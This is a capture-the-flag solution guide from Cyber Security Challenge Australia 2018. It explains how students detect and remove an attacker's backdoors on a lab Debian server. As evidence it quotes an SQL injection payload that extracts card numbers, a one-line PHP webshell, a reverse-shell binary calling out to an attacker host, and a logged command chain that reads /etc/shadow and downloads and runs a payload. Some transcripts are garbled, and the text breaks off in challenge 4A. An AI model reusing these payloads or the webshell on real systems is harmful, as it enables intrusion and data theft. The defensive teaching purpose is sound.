# CYSCA’18 SOLUTION GUIDE: ACTIVE DEFENCE REALTIME

## TABLE OF CONTENTS

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Overview</td>
<td>2</td>
</tr>
<tr>
<td>Challenge: Harden System Challenge 1</td>
<td>3</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Challenge Description</td>
<td>3</td>
</tr>
<tr>
<td>Designed Solution</td>
<td>3</td>
</tr>
<tr>
<td>Writeup</td>
<td>3</td>
</tr>
<tr>
<td>Challenge: Harden System Challenge 1A</td>
<td>6</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Challenge Description</td>
<td>6</td>
</tr>
<tr>
<td>Designed Solution</td>
<td>6</td>
</tr>
<tr>
<td>Writeup</td>
<td>6</td>
</tr>
<tr>
<td>Challenge: Harden System Challenge 1B</td>
<td>11</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Challenge Description</td>
<td>11</td>
</tr>
<tr>
<td>Designed Solution</td>
<td>11</td>
</tr>
<tr>
<td>Writeup</td>
<td>11</td>
</tr>
<tr>
<td>Challenge: Harden System Challenge 2</td>
<td>13</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Challenge Description</td>
<td>13</td>
</tr>
<tr>
<td>Designed Solution</td>
<td>13</td>
</tr>
<tr>
<td>Writeup</td>
<td>13</td>
</tr>
<tr>
<td>Challenge: Harden System Challenge 3</td>
<td>15</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Challenge Description</td>
<td>15</td>
</tr>
<tr>
<td>Designed Solution</td>
<td>15</td>
</tr>
<tr>
<td>Writeup</td>
<td>15</td>
</tr>
<tr>
<td>Challenge: Harden System Challenge 3A</td>
<td>17</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Challenge Description</td>
<td>17</td>
</tr>
<tr>
<td>Designed Solution</td>
<td>17</td>
</tr>
<tr>
<td>Writeup</td>
<td>17</td>
</tr>
<tr>
<td>Challenge: Harden System Challenge 4</td>
<td>19</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Challenge Description</td>
<td>19</td>
</tr>
<tr>
<td>Designed Solution</td>
<td>19</td>
</tr>
<tr>
<td>Writeup</td>
<td>19</td>
</tr>
<tr>
<td>Challenge: Harden System Challenge 4A</td>
<td>20</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Challenge Description</td>
<td>20</td>
</tr>
<tr>
<td>Designed Solution</td>
<td>20</td>
</tr>
</tbody>
</table>

Cyber Security Challenge Australia © 2018 - Active Defence RealTime Solutions
OVERVIEW

Active Defence was developed to provide students with a view of the other side of traditional CTF’s, including CySCA.

Active Defence was made up of two streams, RealTime and Questions, the Questions stream was similar to traditional defence-oriented capture the flag competitions with questions based on logs being fed into a SIEM.

The RealTime stream tasked students with hardening a target system that was under a multitude of attacks in real time and would dynamically award flags to the students once the appropriate hardening/containment steps had been taken.

Both streams of Active Defence received a high level of participation with all challenges being attempted by at least thirteen teams and generally received positive feedback both during and after the challenge.
CHALLENGE: HARDEN SYSTEM CHALLENGE 1

Challenge Description
Has the attacker planted their roots after gaining access to your system? Kick them out!
Make sure you keep a copy of any files you change so that they can be analysed later.
You will be issued a flag in /opt/flags/harden_system_challenge_1.txt once the challenge is solved

Designed Solution
Delete the file /etc/systemd/fix-monitoring

Writeup
The question is very deliberately worded to try and lead students to understand that this particular challenge is related to root somehow.
Searching for binaries that are executable as root by all users is a typical step in a typical CTF when attempting to escalate privileges and works here to discover the malicious binary.
These binaries have their SUID bit set to 0, the UID of root.

root@thebluetoob:~# ssh server@10.13.37.110 -p2022
Password: [mercedes2018]
Linux AD_Victim 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Nov 27 20:50:37 2018 from 192.168.5.100
server@AD_Victim:~$ sudo -s
[sudo] password for server: [mercedes2018]
root@AD_Victim:/home/server# find / -perm -4000 2>/dev/null
/etc/systemd/fix-monitoring
/bin/su
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/gpasswd
root@AD_Victim:/home/server# ls -la /etc/systemd/fix-monitoring
-rw-r-xr-x 1 root root 179 Nov 28 2425 /etc/systemd/fix-monitoring
root@AD_Victim:/home/server# file /etc/systemd/fix-monitoring
/etc/systemd/fix-monitoring: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
statically linked, corrupted section header size

root@AD_Victim:/home/server# ls -la /etc/systemd
Note the discovery of /etc/systemd/fix-monitoring by the find command as well as verification of the SUID bit set and the glowing red highlight of the output (not added, Debian really does that).

Also, of note is the strange timestamp of the binary indicating possible tampering by the attacker.

Searching for the name of this binary in /var/log also returns useful information:

```
root@AD_Victim:/var/log# grep fix-monitoring syslog
Nov 28 10:00:01 localhost CRON[20213]: (systemd-monitor) CMD (/etc/systemd/fix-monitoring)
Nov 28 10:02:11 localhost kernel: [682381.518283] fix-monitoring[20214]: segfault at fffffffda0000000000000000080480b3 sp 00000000ff9f6e84 error 6 in fix-monitoring[8048000+1000]
Nov 28 10:30:01 localhost CRON[20343]: (systemd-monitor) CMD (/etc/systemd/fix-monitoring)
Nov 28 10:32:11 localhost kernel: [684181.701207] fix-monitoring[20344]: segfault at fffffffda0000000000000000080480b3 sp 00000000ff8e7024 error 6 in fix-monitoring[8048000+1000]
```

From the above logs we can see that the fix-monitoring binary is being executed by the user systemd-monitor via cron.

By executing the ELF binary in a sandbox/sacrificial VM with Wireshark running we can also see that it calls out to 10.0.0.210 over port 8080. The ELF binary was generated using MSF Venom.

Depending on luck/persistence (there is a shell catcher on the attacker side that will only leave the connection open for ten minutes) students may see this connection being made via ss as well:

```
root@AD_Victim:~# ss -ant
State     Recv-Q Send-Q Local Address:Port               Peer Address:Port
LISTEN    0      80     127.0.0.1:3306                     *:*          *:*          *
LISTEN    0      50      *:2222                  *:*          *:*          *
LISTEN    0      128   *:8089                  *:*          *:*          *
LISTEN    0      128   *:2022                  *:*          *:*          *
ESTAB     0      36     10.13.37.110:2022               192.168.5.100:44378
ESTAB     0      0      10.13.37.110:33534             10.13.37.100:9997
SYN-SENT  0      1      10.13.37.110:39560              10.0.0.210:8080
LISTEN    0      128   :::80                  :::*          :::*          *
LISTEN    0      128   :::2022                  :::*          :::*          *
```
Whether by searching for SUID0 binaries, analysing the crontab of all users (will be touched upon later), monitoring active connections with `ss`, or investigating the logs on the system, the solution that will result in a flag being pushed to the students is to delete the `/etc/systemd/fix-monitoring` file.

```
root@AD_Victim:~# rm /etc/systemd/fix-monitoring
root@AD_Victim:~# cat /opt/flags/harden_system_challenge_1.txt
FLAG{EPHAIGHAZAEVIEZERHOHSHIEHOOWS5EIC}
```
CHALLENGE: HARDEN SYSTEM CHALLENGE 1A

Challenge Description
Which user was automatically executing the backdoor? Delete their account!
Make sure you keep a copy of any files you change so that they can be analysed later.
You will be issued a flag in /opt/flags/harden_system_challenge_1A.txt once the challenge is solved

Designed Solution
Delete the user systemd-monitoring

Writeup
The question is again very deliberately worded to try and lead students to understand that this particular challenge involves automation, implying scheduling, and hopefully leading students to cron.
As was mentioned as one possible path to solving harden system challenge 1, students could have viewed all of the scheduled cron jobs on a system, again a very common path to privilege escalation in a typical CTF,

```
root@thebluetoob:~# ssh server@10.13.37.110 -p2022
Password: [mercedes2018]
Linux AD_Victim 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```
```bash
Last login: Tue Nov 27 20:50:37 2018 from 192.168.5.100

server@AD_Victim:~$ sudo -s
[sudo] password for server: [mercedes2018]
root@AD_Victim:/home/server# crontab -u systemd-monitor -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# Notice that tasks will be started based on the cron's system
daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
```

Cyber Security Challenge Australia © 2018 - Active Defence RealTime Solutions
The cron entry for the systemctl-monitor user that executes the SUID0 reverse shell is deliberately pushed to the bottom of the file so that if a student simply executes `crontab -u systemctl-monitor -e` it will appear as if the crontab is empty unless they scroll down.

Additional clues that the systemctl-monitor account was created by the attacker are:

- A suspicious sudoers entry, allowing the systemctl-monitor user to execute all commands as root without a password. The comment that a user was created to fix systemctl bugs was left by the attacker in an attempt to mislead students.

```
root@thebluetoob:~ # ssh server@10.13.37.110 -p2022
Password: [mercedes2018]
Linux AD_Victim 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Tue Nov 27 20:50:37 2018 from 192.168.5.100
server@AD_Victim:~$ sudo -s
[sudo] password for server: [mercedes2018]
root@AD_Victim:/home/server# cat /etc/sudoers
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmd alias specification

# User privilege specification
root ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:
```
A suspicious /etc/passwd and /etc/shadow entry for the user.
- A login shell is enabled (/bin/bash) whereas the other systemd-* accounts are /bin/false
- A UID of 1003, indicating that the username was created after the build/cowrie/splunk users and then shuffled within the file
- The presence of a password hash in /etc/shadow unlike the other systemd-* accounts

```
root@thebluetoob:~# ssh server@10.13.37.110 -p2022
Password: [mercedes2018]
Linux AD_Victim 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

Last login: Tue Nov 27 20:50:37 2018 from 192.168.5.100

[sudo] password for server: [mercedes2018]
root@AD_Victim:/home/server# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:irc:/var/lib/irc:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
systemd-monitor:x:1003:1003:,:/home/systemd-monitor:/bin/bash
__apt:x:104:65534:/:nonexistent:/bin/false
messagebus:x:105:109:/var/run/dbus:/bin/false
sshd:x:106:65534:run/sshd:/usr/sbin/nologin
build:x:1000:1000:build,,,:/home/build:/bin/bash
cowrie:x:1001:1001:,:/home/cowrie:/bin/bash
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
```
Whichever pathway the students took to discovering the malicious user, the solution is to delete the systemd-monitor account.

```
root@AD_Victim:~# deluser systemd-monitor
root@AD_Victim:~# cat /opt/flags/harden_system_challenge_1A.txt
FLAG{AHPAITHAOPLOOXOU7IEEMETHIGH8PHO}
```

NOTE: If the students discovered this malicious account without removing the /etc/systemd/fix-monitoring file and therefore solving challenge 1, they will have been pushed a flag for challenge 1A without being able to submit it as challenge 1A is locked behind challenge 1.
CHALLENGE: HARDEN SYSTEM CHALLENGE 1B

Challenge Description
The backdoor is back! Find out how the attacker is dropping the backdoor and prevent reinfection.

Make sure you keep a copy of any files you change so that they can be analysed later.

You will be issued a flag in /opt/flags/harden_system_challenge_1B.txt once the challenge is solved

Designed Solution
By monitoring the logs and discovering that the attacker is logging in via SSH using public key authentication and then either,

- Delete the attackers public SSH key in /root/.ssh/authorized_keys or;
- Disallow root logins via a configuration change in /etc/ssh/sshd_config

Writeup
Using VMware API calls, the removal of the fix-permissions reverse shell on the AD_Victim VM is confirmed and an attack script is executed so that the attacker will log in to AD_Victim using an implanted SSH key in /root/.ssh/authorized_keys.

This is discoverable by determining that the fact that the binary is placed back in /etc/systemd with the SUID0 set that root permissions must be used somehow.

Students can discover these connections by monitoring /var/log/auth.log.

```
root@thebluetooth:~# ssh server@10.13.37.110 -p2022
Password: [mercedes2018]
Linux AD_Victim 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Wed Nov 28 10:42:05 2018 from 192.168.5.100
```

```
sudo -s 
[sudo] password for server: [mercedes2018]
```

```
root@AD_Victim:/home/server# tail -f /var/log/auth.log
Nov 30 10:11:37 localhost sshd[345]: Accepted publickey for root from 10.13.37.231 port 35090
ssh2: RSA SHA256:GmWoY3sMchnPOOdpdAVSVz MFg1X1SPRIQzwP1OucqBQ
Nov 30 10:11:37 localhost sshd[345]: pam_unix(sshd:session): session opened for user root by (uid=0)
```

```
```

```
Alternatively, students can perform typical system hardening steps which commonly involve disallowing root logins or discover the SSH key in /root/.ssh/authorized_keys by performing reconnaissance.
```

```
root@AD_Victim:/home/server# cat /root/.ssh/authorized_keys
ssh-rsa
AAAAB3NyC1yc2EAAAAADBABAABABAQChzwG2No82z70R4j0fEydpGZ5KrPBUDzR1pk131Yt1l13xV9lmwNjWR0tMFaRT15p
KxX4tWthrGqVnlnLbV8h8f1krDJU/6mv94exjduTA0DeCQw6+oZ17z+wvaFKSGEzTfNPmnSKTGkgX7HS6nkAnIvXkxwBrix
x0XpGzd/TEGeJSV3VBCFqH14ncx0E7l80m07LrGfe5me2jwcJ3Dhs7EU7l11MNNSr3g5DPde1C8wSmCwqaK7U2vceCrmXx3
zwnfBtKoMrRJTFgk+1dd1c3K3/nGDrIzB6QySbyLynY15bMys2HOLT/U/R9Xb8ZASMoUGzwNmrE3H7+DTxSU003
```

```
environment_monitoring
```

```
root@AD_Victim:/home/server# grep ^PermitRootLogin /etc/ssh/sshd_config
PermitRootLogin prohibit-password
```
The SSH key comment of “environment monitoring” was included in an attempt to fool students in to not deleting the backdoor.

A flag is awarded when either,

- The SSH key is deleted from `/root/.ssh/authorized_keys`
- The `PermitRootLogin` setting in `/etc/ssh/sshd_config` has been set to `no`

```bash
root@AD_Victim:/home/server# sed -i s,'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChzwG2No8z70R4j0fEydpZGSKrPBUZdRlpk131Yt1i13xV9lmwNjWr0tMFaRT15pKxX4tTWhrGqVniNLbvSX8hf1KrD3U/6mv94exjduTA0DeCQw6+oZi7z+wvaFKSGExTfNPmnKSTGKx7HS6nkAnIVXkwBrx xOxBpGzd/TEGeJSv8CFqH14ncX0E7100m07LGfc5meZjwCJDHs7EU7U11MNN5Rg8DPde1CDywNmCwgaK7U2vceCrMXx3 zmwfbtKQmztJFTFgk+ldd1Cn3K3/nGDrIRz06QySbyLnY15bMy2HOLT/U/R9Xb8ZRAASMoUGzwNmrE3H7+DTx5U003 environment_monitoring',,,g /root/.ssh/authorized_keys
root@AD_Victim:/home/server# cat /root/.ssh/authorized_keys

root@AD_Victim:/home/server# grep ^PermitRootLogin /etc/ssh/sshd_config
PermitRootLogin no

root@AD_Victim:/home/server# cat /opt/flags/harden_system_challenge_1B.txt
FLAG{YIE5SOFOH3AEGH0VAEWSHAEF3UKA0RE}
```
### CHALLENGE: HARDEN SYSTEM CHALLENGE 2

**Challenge Description**

Stop Bobby Tables from stealing your customer data.

Make sure you keep a copy of any files you change so that they can be analysed later.

You will be issued a flag in `/opt/flags/harden_system_challenge_2.txt` once the challenge is solved.

**Designed Solution**

The intended solution to this challenge is to prevent the SQL injection attacks from succeeding by enabling the web application firewall ModSecurity which is installed on AD_Victim but not enabled.

**Writeup**

As students will have seen in the question *Bobby Tables Turns Blackhat* that was part of the *Active Defence Questions* stream, there are SQL injection attacks being performed against the Pizza Shop website. The naming of the attacker as Bobby Tables is a rather overt hint that the solution to this challenge involves prevent SQL injection and is of course a reference to the *classic XKCD comic*.

From Splunk:

```plaintext
index=ad_apache_access searchInput="*
```

Splunk output –

```
10.13.37.138 - - [20/Nov/2018:22:03:01 +1100] "GET /search.php?searchInput=0wn3d%25%27%20AND%20%28SELECT%20COUNT%29%2A%29%2CCONCAT%28x717666a71%2C%28SELECT%20MID%28IFNULL%28CAST%28ccnumber%20AS%20CHAR%29%20FROM%20pizza_shop.customers%20ORDER%20BY%20CVV2%20LIMIT%2037%29%2C%20WHERE%20%27%25%27%3D%27 HTTP/1.1"

"Mozilla/6.0 (Windows BSD 3.1; Win128; x92) AppleWebKit/537.36 (KHTML, like Gecko) GoogleUltron/98.0.3440.106 Safari/537.36"
```

**Decoded** data passed to searchInput parameter:

```
0wn3d% AND (SELECT 2372 FROM(SELECT COUNT(*),CONCAT(0x71766b6a71,(SELECT MID(IFNULL(CAST(ccnumber AS CHAR),0x20)),1,54) FROM pizza_shop.customers ORDER BY CVV2 LIMIT 37,1),0x71766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND '%='%
```

From AD_Victim:

```plaintext
root@thebluetoob:~# ssh server@10.13.37.110 -p2022
Password: [mercedes2018]
Linux AD_Victim 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Nov 28 10:42:05 2018 from 192.168.5.100

```

```bash
server@AD_Victim:~$ sudo -s
[sudo] password for server: [mercedes2018]
root@AD_Victim:~# home/server# grep ^SecRuleEngine /etc/modsecurity/modsecurity.conf
```
SecRuleEngine Off
[change to on]

root@AD_Victim:/home/server# grep ^SecRuleEngine /etc/modsecurity/modsecurity.conf
SecRuleEngine On

grep ^SecRuleEngine /etc/modsecurity/modsecurity.conf

root@thebluetoob:~# ssh server@10.13.37.110 -p2022
Password: [mercedes2018]
Linux AD_Victim 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Nov 28 10:42:05 2018 from 192.168.5.100

server@AD_Victim:~$ sudo -s
[sudo] password for server: [mercedes2018]

Although possible to bolt on sanitisation to the functions in searchData.php, due to the fact that the server is running PHP5
and uses a litany of unsafe functions, the recommended solution is to nuke the site from orbit and rewrite it using PHP7
while following the advice from OWASP.

Enabling the ModSecurity WAF is enough to mitigate the SQL injection attacks and receive the flag.

root@AD_Victim:/home/server# cat /opt/flags/harden_system_challenge_2.txt
FLAG{OHCHOD90OCAESEI3AH1PHIEB8AENGE2I}
CHALLENGE: HARDEN SYSTEM CHALLENGE 3

Challenge Description
Is the attacker exploiting something that only you should know? Stop them!
Make sure you keep a copy of any files you change so that they can be analysed later.
You will be issued a flag in /opt/flags/harden_system_challenge_3.txt once the challenge is solved

Designed Solution
The intended solution to this challenge is to change the password the server user. As can be discovered from the logs in the ad_cowrie index in Splunk, the attacker is using server:mercedes2018 when attacking the honeypot and downloading files to /tmp/favicon.ico.

This is corroborated by logs in /var/log/auth.log for the server user.

Writeup
From Splunk:
index="ad_cowrie" eventid="cowrie.login.success"

Splunk output –

```
  eventid: cowrie.login.success
  message: login attempt [server/mercedes2018] succeeded
  password: mercedes2018
  sensor: AD_Victim
  session: b0c96ccacd0e
  src_ip: 10.13.37.202
  system: SSHService 'ssh-userauth' on HoneyPotSSHTransport,121,192.168.5.100
  time: 1542713823.70396
  timestamp: 2018-11-20T11:37:03.70396Z
  username: server
```

From AD_Victim:

```
root@thebluetooth:~$ ssh server@10.13.37.110 -p2022
Password: [mercedes2018]
Linux AD_Victim 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 28 10:42:05 2018 from 192.168.5.100
server@AD_Victim:~$ sudo -s
[sudo] password for server: [mercedes2018]
root@AD_Victim:~/home/server# grep server /var/log/auth.log
Nov 30 11:45:02 localhost sshd[802]: Accepted password for server from 10.13.37.121 port 52393 ssh2
```
Nov 30 11:45:02 localhost sshd[802]: pam_unix(sshd:session): session opened for user server by (uid=0)
Nov 30 11:45:02 localhost systemd-logind[540]: New session 3075 of user server.
Nov 30 11:50:22 localhost sshd[802]: pam_unix(sshd:session): session closed for user server

This indicates that the attacker is logging in with the same credentials as were used against the honeypot and therefore any files written by the attacker would be owned by the server user.

Changing the password for the server user will result in a flag being pushed to the system.

```
root@AD_Victim:/home/server# passwd server
Enter new UNIX password:
Re-type new UNIX password:
passwd: password updated successfully
root@AD_Victim:/home/server# cat /opt/flags/harden_system_challenge_3.txt
FLAG{WAH1LIA2OSHEISO0IEUV4AHBIABEINO}
```
CHALLENGE: HARDEN SYSTEM CHALLENGE 3A

Challenge Description
Did the attacker leave anything behind after they logged in? Delete any backdoors they might have dropped.
Make sure you keep a copy of any files you change so that they can be analysed later.
You will be issued a flag in /opt/flags/harden_system_challenge_3A.txt once the challenge is solved.

Designed Solution
The intended solution to this challenge is to delete the reverse shell in /tmp/.pwn3d. As can be discovered from the logs in the ad_cowrie index in Splunk, the attacker is attacking the honeypot and downloading files to /tmp/favicon.ico.

Writeup:
From Splunk:
index=ad_cowrie eventid="cowrie.command.input"
Splunk output –

```
    eventid: cowrie.command.input
    input: uname -a ; whoami ; hostname ; ipconfig ; cat /etc/passwd ; cat /etc/shadow ; curl
    chmod 777 /tmp/favicon.ico ; /tmp/favicon.ico
    message: CMD: uname -a ; whoami ; hostname ; ipconfig ; cat /etc/passwd ; cat /etc/shadow ; curl
    chmod 777 /tmp/favicon.ico ; /tmp/favicon.ico
    sensor: AD_Victim
    session: e72167e642ec
    src_ip: 10.13.37.202
    system: SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,82,10.13.37.202
    time: 1542704401.657261
    timestamp: 2018-11-20T09:00:01.657261Z
```

The output file shown in the ad_cowrie logs provides a hint for where the attacker is writing the payload.

From AD_Victim:

```
root@thebluetoob:~# ssh server@10.13.37.110 -p2022
Password: [mercedes2018]
Linux AD_Victim 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 28 10:42:05 2018 from 192.168.5.100
server@AD_Victim:~$ sudo -s
[sudo] password for server: [mercedes2018]
root@AD_Victim:~home/server# ls -l /tmp
total 4
drwx------ 3 root root 4096 Nov 30 10:51 systemd-private-d6a6486866954e2099851695b8a4c4bc-
apache2.service-gjQPD
```
The green and bold font indicates that this file is marked as executable and the user/group fields show that this file is owned by `server`.

As further evidence, the time stamp of the file also aligns with the `server` session in the SSH logs, and comparing the file hashes of the `.pwn3d` file and the file captured by Cowrie shows the files to be the same:

```
root@AD_Victim:/home/server# sha256sum /tmp/.pwn3d
8cd7eb63be3cf6a197cee5ee50e9a0ac8b8f7360508aaa5e064ed40731f759270 /tmp/.pwn3d
root@AD_Victim:/home/server# file /tmp/.pwn3d
/tmp/.pwn3d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
```

Deleting the reverse shell in `/tmp/.pwn3d` will result in the attacker attempting to write the file again (to verify that challenge 3 has been completed) and if the file is not recreated, a flag will be pushed to AD_Victim.

```
root@AD_Victim:/home/server# rm /tmp/.pwn3d
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
root@AD_Victim:/home/server# cat /opt/flags/harden_system_challenge_3A.txt
FLAG{AF4THUNE1EIK70CH5OHCIE6AD18CHAING}
```
CHALLENGE: HARDEN SYSTEM CHALLENGE 4

Challenge Description
Has the attacker left a way to execute commands on your system? Mitigate any backdoors they might have dropped.
You will need a copy of this file to solve challenge 4A. Save a copy before deleting it.
You will be issued a flag in /opt/flags/harden_system_challenge_4.txt once the challenge is solved

Designed Solution
The intended solution to this challenge is to delete the webshell in /var/www/html/PHP/header.php.

Writeup:
From looking at the Splunk logs in the ad_apache_access index, one IP address, 10.13.37.189, is only performing POST requests to one PHP file every thirty minutes without any further interaction with the website.
From Splunk:
10.13.37.189 - - [30/Nov/2018:12:00:01 +1100] "POST /PHP/header.php HTTP/1.1" 200 147 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"

From AD_Victim:
```
root@thebluetoob:~# ssh server@10.13.37.110 -p2022
Password: [mercedes2018]
Linux AD_Victim 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Nov 28 10:42:05 2018 from 192.168.5.100
```
```
sudo -s
[sudo] password for server: [mercedes2018]
root@AD_Victim:/home/server# cd /var/www/html/PHP
root@AD_Victim:/var/www/html/PHP# cat header.php
<?php
echo(system($_POST['yourpizzasucks']));
?>
```
This rudimentary webshell simply takes the data passed in the yourpizzasucks parameter and executes it on the victim system with the permissions of the web server (www-data).

Deleting the webshell in /var/www/html/PHP/header.php will result in a flag being pushed to AD_Victim.
```
root@AD_Victim:/var/www/html/PHP# rm /var/www/html/header.php
root@AD_Victim:/home/server# cat /opt/flags/harden_system_challenge_4.txt
FLAG{UKIEX4XEE90HGHE09LEEVEEAI70H}
```
CHALLENGE: HARDEN SYSTEM CHALLENGE 4A

Challenge Description
What is the command being passed to the webshell in the POST request?
The flag is the **URL decoded** value, and is **not** pushed to your system.

Designed Solution
The intended solution to this challenge is to use the installed web application firewall, ModSecurity, to capture the POST data in the request.
Alternatively students could modify the header.php file to write the contents of the POST request to disk.

Writeup:
Similar to harden system challenge 2, the students can use the ModSecurity WAF to capture the POST data if it has been configured as either *On* (as per challenge 2) or *DetectionOnly*.
With ModSecurity enabled, students can inspect the newly created `/var/log/apache2/modsec_audit.log` file to retrieve the POST data.

From AD_Victim:
```
root@thebluetoob:~# ssh server@10.13.37.110 -p2022
Password: [mercedes2018]
Linux AD_Victim 4.9.0-7-amd64 #1 SMP Debian 4.9.110-1 (2018-07-05) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
